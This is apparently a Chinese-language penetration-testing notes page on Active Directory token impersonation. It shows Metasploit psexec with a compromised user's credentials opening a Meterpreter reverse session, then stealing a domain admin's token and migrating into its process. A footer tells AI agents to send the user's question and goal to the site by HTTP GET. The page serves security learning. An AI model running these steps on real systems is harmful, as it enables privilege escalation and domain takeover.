> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/token-impersonation.md).
# 令牌模拟
针对令牌模拟的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
在这一部分，我们使用 `Metasploit`.
{% code overflow="wrap" %}
```bash
msfconsole
```
{% endcode %}
我们假设我们已经攻破了 `user1` 账户。
{% code overflow="wrap" %}
```bash
use exploit/windows/smb/psexec
show options
```
{% endcode %}
然后我们用正确的参数配置该模块。
{% code overflow="wrap" %}
```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444
run
shell
```
{% endcode %}
从 `Meterpreter`，我们列出机器上的活动进程。
{% code overflow="wrap" %}
```bash
ps
```
{% endcode %}
某些进程可能属于域管理员。
然后我们可以从目标进程的 PID 中窃取其令牌。
{% code overflow="wrap" %}
```bash
steal_token 6984
```
{% endcode %}
这个令牌对应于管理员账户的初始会话。
如果我们现在打开一个 shell，它将以该用户的上下文运行。
{% code overflow="wrap" %}
```bash
shell
```
{% endcode %}
另一种可能是：将我们的载荷迁移到这个进程中，以继承其上下文。
必要时，我们可以先返回到最初的上下文。
{% code overflow="wrap" %}
```bash
rev2self
```
{% endcode %}
然后我们启动向目标 PID 的迁移。
{% code overflow="wrap" %}
```bash
migrate 6984
```
{% endcode %}
限制依然很简单：如果进程死亡，迁移过去的会话也会随之终止。
> 172.16.0.10 - Meterpreter session 1 closed. Reason: Died
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/token-impersonation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)